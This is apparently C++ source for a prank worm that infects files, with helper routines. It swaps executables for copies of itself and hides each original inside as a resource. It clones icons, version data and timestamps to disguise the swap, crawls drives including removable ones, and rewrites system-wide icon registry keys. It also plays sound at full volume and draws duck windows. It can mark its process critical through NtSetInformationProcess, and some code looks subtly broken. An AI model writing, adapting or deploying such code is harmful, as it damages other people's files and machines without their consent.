#include "duck.h"


PHKEY __stdcall GetLocalUserRoots(LPDWORD rootsSize)
{
	//open profile list

	HKEY profileList = nullptr;
	RegOpenKey(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"), &profileList);


	//get profiles from the list

	const PHKEY userRootKeys = new HKEY[128];
	DWORD insertAt = 0;
	for (INT x = 0;; x++)
	{
		//enum thing into profileName

		const LPTSTR profileName = static_cast<LPTSTR>(malloc(sizeof(TCHAR) * 128));
		LSTATUS error = RegEnumKey(profileList, x, profileName, 128);
		if (error == ERROR_NO_MORE_ITEMS)
		{
			free(profileName);
			break;
		}


		//check if the profile is really of a user

		DWORD hyphenCount = 0;
		for (INT y = 0; y <= lstrlen(profileName) - 1; y++) if (profileName[y] == '-')hyphenCount++;

		HKEY userRootKey;
		error = RegOpenKey(HKEY_USERS, profileName, &userRootKey);
		if (hyphenCount > 3 && error == ERROR_SUCCESS)
		{
			userRootKeys[insertAt] = userRootKey;
			insertAt++;
		}
		RegCloseKey(userRootKey);


		//release

		free(profileName);
	}

	*rootsSize = insertAt;
	return userRootKeys;
}


VOID __stdcall ChangeFileToDuck(LPCTSTR target)
{
	//grab original file times

	const HANDLE orgFileHandle = CreateFile(target, GENERIC_ALL, NULL, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
		nullptr);
	if (orgFileHandle == INVALID_HANDLE_VALUE) return;
	FILETIME creationTime, lastAccessTime, lastWriteTime;
	GetFileTime(orgFileHandle, &creationTime, &lastAccessTime, &lastWriteTime);
	CloseHandle(orgFileHandle);


	//copy duck to .exe and move original to .duck

	TCHAR exeExtFileLoc[MAX_PATH];
	lstrcpy(exeExtFileLoc, target);

	TCHAR duckExtFileLoc[MAX_PATH];
	lstrcpy(duckExtFileLoc, target);
	PathRemoveExtension(duckExtFileLoc);
	lstrcat(duckExtFileLoc, TEXT(".duck"));

	MoveFile(exeExtFileLoc, duckExtFileLoc);
	CopyFile(gFileFullName, exeExtFileLoc, FALSE);


	//load original file library

	const HMODULE libraryOrg = LoadLibrary(duckExtFileLoc);
	const HMODULE libraryDuck = LoadLibrary(exeExtFileLoc);


	//clone version information to the duck file

	const HRSRC resVersion = FindResource(libraryOrg, MAKEINTRESOURCE(1), RT_VERSION);
	const DWORD resVersionSize = SizeofResource(libraryOrg, resVersion);
	const HGLOBAL resVersionLoad = LoadResource(libraryOrg, resVersion);
	const LPVOID resVersionData = LockResource(resVersionLoad);

	HANDLE resUpdate = BeginUpdateResource(exeExtFileLoc, FALSE);
	UpdateResource(resUpdate, RT_VERSION, MAKEINTRESOURCE(1), LANG_NEUTRAL, resVersionData, resVersionSize);
	EndUpdateResource(resUpdate, FALSE);


	//delete the duck file's icons

	EnumResourceNames(libraryDuck, RT_ICON,
		[](HMODULE hModule, LPCTSTR lpszType, LPTSTR lpszName, LONG_PTR lParam)-> BOOL
		{
			const HANDLE resUpdate = BeginUpdateResource(reinterpret_cast<TCHAR*>(lParam), FALSE);
			UpdateResource(resUpdate, RT_ICON, MAKEINTRESOURCE((DWORD)lpszName), LANG_NEUTRAL, nullptr,
				NULL);
			EndUpdateResource(resUpdate, FALSE);

			return TRUE;
		}, reinterpret_cast<LONG_PTR>(exeExtFileLoc));


	//clone icons to the duck file

	EnumResourceNames(libraryOrg, RT_ICON,
		[](HMODULE hModule, LPCTSTR lpszType, LPTSTR lpszName, LONG_PTR lParam)-> BOOL
		{
			const HRSRC resIcon = FindResource(hModule, MAKEINTRESOURCE((DWORD)lpszName), RT_ICON);
			const DWORD resIconSize = SizeofResource(hModule, resIcon);
			const HGLOBAL resIconLoad = LoadResource(hModule, resIcon);
			const LPVOID resIconData = LockResource(resIconLoad);

			const HANDLE resUpdate = BeginUpdateResource(reinterpret_cast<TCHAR*>(lParam), FALSE);
			UpdateResource(resUpdate, RT_ICON, MAKEINTRESOURCE((DWORD)lpszName), LANG_NEUTRAL,
				resIconData, resIconSize);
			EndUpdateResource(resUpdate, FALSE);

			return TRUE;
		}, reinterpret_cast<LONG_PTR>(exeExtFileLoc));


	//delete the duck file's icon groups

	EnumResourceNames(libraryDuck, RT_GROUP_ICON,
		[](HMODULE hModule, LPCTSTR lpszType, LPTSTR lpszName, LONG_PTR lParam)-> BOOL
		{
			const HANDLE resUpdate = BeginUpdateResource(reinterpret_cast<TCHAR*>(lParam), FALSE);
			UpdateResource(resUpdate, RT_GROUP_ICON, lpszName, LANG_NEUTRAL, nullptr, NULL);
			EndUpdateResource(resUpdate, FALSE);

			return TRUE;
		}, reinterpret_cast<LONG_PTR>(exeExtFileLoc));


	//clone icon groups to the duck file

	EnumResourceNames(libraryOrg, RT_GROUP_ICON,
		[](HMODULE hModule, LPCTSTR lpszType, LPTSTR lpszName, LONG_PTR lParam)-> BOOL
		{
			const HRSRC resIcon = FindResource(hModule, lpszName, RT_GROUP_ICON);
			const DWORD resIconSize = SizeofResource(hModule, resIcon);
			const HGLOBAL resIconLoad = LoadResource(hModule, resIcon);
			const LPVOID resIconData = LockResource(resIconLoad);

			const HANDLE resUpdate = BeginUpdateResource(reinterpret_cast<TCHAR*>(lParam), FALSE);
			UpdateResource(resUpdate, RT_GROUP_ICON, lpszName, LANG_NEUTRAL, resIconData, resIconSize);
			EndUpdateResource(resUpdate, FALSE);

			return TRUE;
		}, reinterpret_cast<LONG_PTR>(exeExtFileLoc));


	//free libraries

	FreeLibrary(libraryOrg);
	FreeLibrary(libraryDuck);


	//seize the original file into the duck as a resource

	const HANDLE fileHandle = CreateFile(duckExtFileLoc, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL, nullptr);
	DWORD resFileSize = GetFileSize(fileHandle, &resFileSize);
	const LPCH resFileData = new CHAR[resFileSize];
	DWORD resFileSizeRead;
	ReadFile(fileHandle, resFileData, resFileSize, &resFileSizeRead, nullptr);
	CloseHandle(fileHandle);

	resUpdate = BeginUpdateResource(exeExtFileLoc, FALSE);
	UpdateResource(resUpdate, RT_RCDATA, MAKEINTRESOURCE(1), LANG_NEUTRAL, resFileData, resFileSize);
	EndUpdateResource(resUpdate, FALSE);

	delete []resFileData;


	//change time

	const HANDLE exeExtHandle = CreateFile(exeExtFileLoc, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL, nullptr);
	const HANDLE duckExtHandle = CreateFile(duckExtFileLoc, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL, nullptr);
	SetFileTime(exeExtHandle, &creationTime, &lastAccessTime, &lastWriteTime);
	SetFileTime(duckExtHandle, &creationTime, &lastAccessTime, &lastWriteTime);
	CloseHandle(exeExtHandle);
	CloseHandle(duckExtHandle);


	//delete the original file

	DeleteFile(duckExtFileLoc);
}


VOID __stdcall RecoverFileFromDuck(LPCTSTR target)
{
	//extract .duck from .exe and replace .exe

	TCHAR exeExtFileLoc[MAX_PATH];
	lstrcpy(exeExtFileLoc, target);

	TCHAR duckExtFileLoc[MAX_PATH];
	lstrcpy(duckExtFileLoc, target);
	PathRemoveExtension(duckExtFileLoc);
	lstrcat(duckExtFileLoc, TEXT(".duck"));


	//extract original file

	const HMODULE library = LoadLibrary(exeExtFileLoc);

	const HRSRC res = FindResource(library, MAKEINTRESOURCE(1), RT_RCDATA);
	const DWORD resSize = SizeofResource(library, res);
	const HGLOBAL resLoad = LoadResource(library, res);
	const LPVOID resData = LockResource(resLoad);

	DeleteFile(duckExtFileLoc);
	const HANDLE extracted = CreateFile(duckExtFileLoc, GENERIC_WRITE, NULL, nullptr, CREATE_NEW,
		FILE_ATTRIBUTE_NORMAL, nullptr);
	DWORD resSizeRead;
	WriteFile(extracted, resData, resSize, &resSizeRead, nullptr);
	CloseHandle(extracted);


	//replace the duck with original file extracted

	MoveFileEx(duckExtFileLoc, exeExtFileLoc, MOVEFILE_REPLACE_EXISTING);
}


BOOL __stdcall IsExeRunning(LPCTSTR path)
{
	if (!PathFileExists(path))return FALSE;

	DWORD processes[4096];
	DWORD bytesGot;
	EnumProcesses(processes, sizeof processes, &bytesGot);
	const DWORD processesCount = bytesGot / sizeof(DWORD);

	for (DWORD x = 0; x <= processesCount - 1; x++)
	{
		const HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processes[x]);
		TCHAR name[MAX_PATH];
		GetModuleFileNameEx(process, nullptr, name, MAX_PATH);
		CloseHandle(process);
		if (lstrcmp(name, path) == 0) return TRUE;
	}

	return FALSE;
}


BOOL __stdcall IsExeDuck(LPCTSTR path)
{
	const HMODULE library = LoadLibrary(path);
	const HRSRC res = FindResource(library, MAKEINTRESOURCE(124), TEXT("GADOWS"));
	FreeLibrary(library);
	return res != nullptr;
}


DWORD __stdcall GetRunningDucksCount()
{
	DWORD processes[4096];
	DWORD bytesGot;
	EnumProcesses(processes, sizeof processes, &bytesGot);
	const DWORD processesCount = bytesGot / sizeof(DWORD);
	DWORD count = 0;
	for (DWORD x = 0; x <= processesCount - 1; x++)
	{
		const HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processes[x]);
		TCHAR name[MAX_PATH];
		GetModuleFileNameEx(process, nullptr, name, MAX_PATH);
		CloseHandle(process);
		if (IsExeDuck(name))count++;
	}
	return count;
}


DWORD __stdcall RetrievalOperate(LPCTSTR refcstrRootDirectory, BOOL bSearchSubdirectories,
								BOOL isRemovableDisk, LPDWORD rdc, RETRIVER retriver)
{
	TCHAR strFilePath[MAX_PATH];
	TCHAR strPattern[MAX_PATH + 4];
	WIN32_FIND_DATA firstFileInformation;

	lstrcpy(strPattern, refcstrRootDirectory);
	lstrcat(strPattern, TEXT("\\*.*"));
	const HANDLE hFirstFile = ::FindFirstFile(strPattern, &firstFileInformation);
	if (hFirstFile != INVALID_HANDLE_VALUE)
	{
		if (rdc == nullptr)
		{
			rdc = static_cast<DWORD*>(malloc(sizeof DWORD));
			*rdc = GetRunningDucksCount();
		}
		do
		{
			if (firstFileInformation.cFileName[0] == '.')continue;

			lstrcpy(strFilePath, refcstrRootDirectory);
			lstrcat(strFilePath, TEXT("\\"));
			lstrcat(strFilePath, firstFileInformation.cFileName);

			if (firstFileInformation.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			{
				if (bSearchSubdirectories)
				{
					//search sub directory

					const DWORD iRc = RetrievalOperate(strFilePath, bSearchSubdirectories, isRemovableDisk, rdc,
						retriver);
					if (iRc) return iRc;
				}
			}
			else retriver(strFilePath, isRemovableDisk, rdc);
		}
		while (FindNextFile(hFirstFile, &firstFileInformation) == TRUE);
		free(rdc);

		FindClose(hFirstFile);

		const DWORD dwError = GetLastError();
		if (dwError != ERROR_NO_MORE_FILES) return dwError;
	}

	return 0;
}


DWORD __stdcall RegisterDuckIcon(BOOL forward)
{
	if (forward)
	{
		//extract duck icon from this duck and put it out

		const HMODULE library = LoadLibrary(gFileFullName);
		const HRSRC res = FindResource(library, MAKEINTRESOURCE(124), TEXT("GADOWS"));
		const DWORD resSize = SizeofResource(library, res);
		const HGLOBAL resLoad = LoadResource(library, res);
		const LPVOID resData = LockResource(resLoad);

		FreeLibrary(library);

		const HANDLE hIcon = CreateFile(DUCK_ICON_NAME, GENERIC_WRITE, NULL, nullptr, CREATE_ALWAYS,
			FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, nullptr);
		DWORD written;
		if (WriteFile(hIcon, resData, resSize, &written, nullptr) == FALSE) return FALSE;
	}


	//set icon-related registers to the duck

	if (forward)
	{
		TCHAR duckIconPath[MAX_PATH];
		GetFullPathName(DUCK_ICON_NAME, lstrlen(DUCK_ICON_NAME), duckIconPath, nullptr);

		const auto set = [duckIconPath](LPCTSTR lpSubKey)
		{
			return RegSetKeyValue(HKEY_CLASSES_ROOT, lpSubKey, nullptr, REG_SZ, duckIconPath,
				(lstrlen(duckIconPath) + 1) * sizeof(TCHAR));
		};
		if (set(TEXT("exefile\\DefaultIcon")))return FALSE;
		if (set(TEXT("txtfile\\DefaultIcon")))return FALSE;
		if (set(TEXT("inffile\\DefaultIcon")))return FALSE;
		if (set(TEXT("inifile\\DefaultIcon")))return FALSE;
		if (set(TEXT("dllfile\\DefaultIcon")))return FALSE;
		if (set(TEXT("dbfile\\DefaultIcon")))return FALSE;
		if (set(TEXT("icofile\\DefaultIcon")))return FALSE;
		if (set(TEXT("jpegfile\\DefaultIcon")))return FALSE;
		if (set(TEXT("pngfile\\DefaultIcon")))return FALSE;
		if (set(TEXT("giffile\\DefaultIcon")))return FALSE;
		if (set(TEXT("bmpfile\\DefaultIcon")))return FALSE;

		HKEY sfKey;
		if (RegOpenKey(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\CurrentVersion\\Explorer\\Shell Icons"),
			&sfKey))
			return FALSE;
		if (RegSetKeyValue(sfKey, nullptr, TEXT("3"), REG_SZ, duckIconPath,
			(lstrlen(duckIconPath) + 1) * sizeof(TCHAR)))
			return FALSE;
		if (RegSetKeyValue(sfKey, nullptr, TEXT("4"), REG_SZ, duckIconPath,
			(lstrlen(duckIconPath) + 1) * sizeof(TCHAR)))
			return FALSE;
		RegCloseKey(sfKey);
	}
	else
	{
		const auto set = [](LPCTSTR lpSubKey, LPCTSTR str)
		{
			return RegSetKeyValue(HKEY_CLASSES_ROOT, lpSubKey, nullptr, REG_SZ, str,
				(lstrlen(str) + 1) * sizeof(TCHAR));
		};
		TCHAR str[MAX_PATH];
		str[0] = GetBootDrive();
		if (set(TEXT("exefile\\DefaultIcon"),TEXT("%1")))return FALSE;
		if (set(TEXT("txtfile\\DefaultIcon"), TEXT("%SystemRoot%\\system32\\imageres.dll,-102")))return FALSE;
		if (set(TEXT("inffile\\DefaultIcon"), TEXT("%SystemRoot%\\System32\\imageres.dll,-69")))return FALSE;
		if (set(TEXT("inifile\\DefaultIcon"), TEXT("%SystemRoot%\\System32\\imageres.dll,-69")))return FALSE;
		lstrcat(str, TEXT(":\\Windows\\system32\\imageres.dll,-67"));
		if (set(TEXT("dllfile\\DefaultIcon"), str))return FALSE;
		if (set(TEXT("dbfile\\DefaultIcon"), str))return FALSE;
		if (set(TEXT("icofile\\DefaultIcon"), TEXT("%1")))return FALSE;
		if (set(TEXT("jpegfile\\DefaultIcon"), TEXT("%SystemRoot%\\System32\\imageres.dll,-72")))return FALSE;
		if (set(TEXT("pngfile\\DefaultIcon"), TEXT("%SystemRoot%\\System32\\imageres.dll,-83")))return FALSE;
		if (set(TEXT("giffile\\DefaultIcon"), TEXT("%SystemRoot%\\System32\\imageres.dll,-71")))return FALSE;

		HKEY sfKey;
		if (RegOpenKey(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\CurrentVersion\\Explorer\\Shell Icons"),
			&sfKey))
			return FALSE;
		if (RegSetKeyValue(sfKey, nullptr, TEXT("3"), REG_SZ, nullptr, NULL))return FALSE;
		if (RegSetKeyValue(sfKey, nullptr, TEXT("4"), REG_SZ, nullptr, NULL))return FALSE;
	}

	return TRUE;
}


TCHAR __stdcall GetBootDrive()
{
	HRESULT hres = CoInitializeEx(nullptr, COINIT_MULTITHREADED);
	if (FAILED(hres))return FALSE;
	hres = CoInitializeSecurity(nullptr, -1, nullptr, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE,
		nullptr, EOAC_NONE, nullptr);
	if (FAILED(hres))
	{
		CoUninitialize();
		return FALSE;
	}
	IWbemLocator* pLoc = nullptr;
	hres = CoCreateInstance(CLSID_WbemLocator, nullptr, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);
	if (FAILED(hres))
	{
		CoUninitialize();
		return FALSE;
	}
	IWbemServices* pSvc = nullptr;
	hres = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), nullptr, nullptr, nullptr, NULL, nullptr, nullptr, &pSvc);
	if (FAILED(hres))
	{
		pLoc->Release();
		CoUninitialize();
		return FALSE;
	}
	hres = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, nullptr, RPC_C_AUTHN_LEVEL_CALL,
		RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_NONE);
	if (FAILED(hres))
	{
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return FALSE;
	}
	IEnumWbemClassObject* pEnumerator = nullptr;
	hres = pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_BootConfiguration"),
		WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, nullptr, &pEnumerator);
	if (FAILED(hres))
	{
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return FALSE;
	}
	IWbemClassObject* pclsObj;
	ULONG uReturn = 0;
	pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
	if (0 == uReturn)return FALSE;
	VARIANT vtProp;
	pclsObj->Get(L"Caption", 0, &vtProp, nullptr, nullptr);
	const TCHAR drive = vtProp.bstrVal[0];
	VariantClear(&vtProp);
	pclsObj->Release();
	pSvc->Release();
	pLoc->Release();
	pEnumerator->Release();
	CoUninitialize();
	system("pause");
	return drive;
}


VOID __stdcall SafeTerminate()
{
#ifndef HARMLESS
	ULONG breakOnTermination = 0;
	NtSetInformationProcess((HANDLE)-1, 0x1d, &breakOnTermination, sizeof(ULONG));
#endif
	PostThreadMessage(gMainThreadId, WM_QUIT, 0, 0);
}


FLOAT __stdcall GetSystemVolume(BOOL vUnit)
{
	CoInitialize(nullptr);
	IMMDeviceEnumerator* deviceEnumerator = nullptr;
	CoCreateInstance(__uuidof(MMDeviceEnumerator), nullptr, CLSCTX_INPROC_SERVER,
		__uuidof(IMMDeviceEnumerator), (LPVOID *)&deviceEnumerator);
	IMMDevice* defaultDevice = nullptr;

	deviceEnumerator->GetDefaultAudioEndpoint(eRender, eConsole, &defaultDevice);
	deviceEnumerator->Release();
	deviceEnumerator = nullptr;

	IAudioEndpointVolume* endpointVolume = nullptr;
	defaultDevice->Activate(__uuidof(IAudioEndpointVolume), CLSCTX_INPROC_SERVER, nullptr,
		(LPVOID *)&endpointVolume);
	defaultDevice->Release();
	defaultDevice = nullptr;

	FLOAT currentVolume = 0;
	if (vUnit == VU_DECIBEL) endpointVolume->GetMasterVolumeLevel(&currentVolume);
	else if (vUnit == VU_SCALAR) endpointVolume->GetMasterVolumeLevelScalar(&currentVolume);

	endpointVolume->Release();
	CoUninitialize();

	return currentVolume;
}


VOID __stdcall SetSystemVolume(FLOAT newVolume, BOOL vUnit)
{
	CoInitialize(nullptr);
	IMMDeviceEnumerator* deviceEnumerator = nullptr;
	CoCreateInstance(__uuidof(MMDeviceEnumerator), nullptr, CLSCTX_INPROC_SERVER, __uuidof(IMMDeviceEnumerator),
		(LPVOID *)&deviceEnumerator);
	IMMDevice* defaultDevice = nullptr;

	deviceEnumerator->GetDefaultAudioEndpoint(eRender, eConsole, &defaultDevice);
	deviceEnumerator->Release();
	deviceEnumerator = nullptr;

	IAudioEndpointVolume* endpointVolume = nullptr;
	defaultDevice->Activate(__uuidof(IAudioEndpointVolume), CLSCTX_INPROC_SERVER, nullptr,
		(LPVOID *)&endpointVolume);
	defaultDevice->Release();
	defaultDevice = nullptr;

	if (vUnit == VU_DECIBEL) endpointVolume->SetMasterVolumeLevel(newVolume, nullptr);
	else if (vUnit == VU_SCALAR) endpointVolume->SetMasterVolumeLevelScalar(newVolume, nullptr);

	endpointVolume->Release();

	CoUninitialize();
}


VOID __stdcall QuackVoiceOnce()
{
	//set volume to full

	const FLOAT sysvol = GetSystemVolume(VU_SCALAR);
	SetSystemVolume(1, VU_SCALAR);


	//play gaga

	const HRSRC hResInfo = FindResource(nullptr, TEXT("gaga"), TEXT("WAVE"));
	HGLOBAL
		hRes = LoadResource(nullptr, hResInfo);
	const LPVOID lpRes = LockResource(hRes);
	sndPlaySound(static_cast<LPCWSTR>(lpRes), SND_MEMORY | SND_ASYNC | SND_NODEFAULT);
	UnlockResource(hRes);
	FreeResource(hRes);


	//set volume back

	SetSystemVolume(sysvol, VU_SCALAR);
}


LRESULT __stdcall DuckWindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);


DWORD __stdcall SpreadDucksOnce(LPVOID)
{
	static HWND hDucks[1000];
	static DWORD szDucks = 0;
	static HBITMAP hbDuck=static_cast<HBITMAP>(LoadImage(ghInstance,
					MAKEINTRESOURCE(ID_BMP_DUCK),IMAGE_BITMAP, dpisc * BMPDUCKSIZE, dpisc * BMPDUCKSIZE, LR_CREATEDIBSECTION));


	WNDCLASS wndc = {};
	wndc.lpfnWndProc = DuckWindowProc;
	wndc.hInstance = ghInstance;
	wndc.lpszClassName = DUCKPROC_CLASS_DUCK_NAME;
	wndc.hbrBackground = CreateSolidBrush(RGB(255, 255, 255));
	RegisterClass(&wndc);

	RECT rect;
	SystemParametersInfo(SPI_GETWORKAREA, NULL, &rect, NULL);

	TCHAR windowName[100];
	lstrcpy(windowName,DUCKPROC_WINDOW_DUCK_PREFIX);
	TCHAR windowSuffix[10];
	wsprintf(windowSuffix,TEXT("%d"), szDucks);
	lstrcat(windowName, windowSuffix);

	hDucks[szDucks] = CreateWindowEx(
		WS_EX_TOPMOST | WS_EX_LAYERED,
		DUCKPROC_CLASS_DUCK_NAME,
		windowName,
		WS_POPUP,
		0,
		0,
		dpisc*BMPDUCKSIZE,
		dpisc*BMPDUCKSIZE,
		nullptr,
		nullptr,
		ghInstance,
		nullptr
	);

	const HWND pic = CreateWindow(
		TEXT("STATIC"),
		TEXT("pic"),
		WS_VISIBLE | WS_CHILD | SS_BITMAP,
		0,
		0,
		dpisc * 40,
		dpisc * 40,
		hDucks[szDucks],
		NULL,
		ghInstance,
		NULL);
	SendMessage( pic, STM_SETIMAGE, IMAGE_BITMAP, (LPARAM) hbDuck); 

	SetLayeredWindowAttributes(hDucks[szDucks], RGB(255,255,255), 255, LWA_ALPHA| LWA_COLORKEY);
	ShowWindow(hDucks[szDucks], SW_SHOWDEFAULT);

	szDucks++;

	return 0;
}


LRESULT __stdcall DuckWindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	switch (uMsg)
	{
	case WM_CREATE:
		{
			return 0;
		}
	case WM_PAINT:
		{
			PAINTSTRUCT ps;
			const HDC hdc = BeginPaint(hwnd, &ps);
			SetBkMode(hdc, TRANSPARENT);
			EndPaint(hwnd, &ps);
		}
	case WM_CTLCOLORSTATIC:
		{
			
			return 0;
		}
	default:
		break;
	}
	return DefWindowProc(hwnd, uMsg, wParam, lParam);
}


LPVOID __stdcall AesCrypt(LPVOID input, DWORD bytes, LPCTSTR key)
{
	AES_ctx ctx;
	AES_init_ctx(&ctx,(uint8_t*)key);
	AES_CTR_xcrypt_buffer(&ctx,(uint8_t*)input,(uint32_t)bytes);
	return input;
}
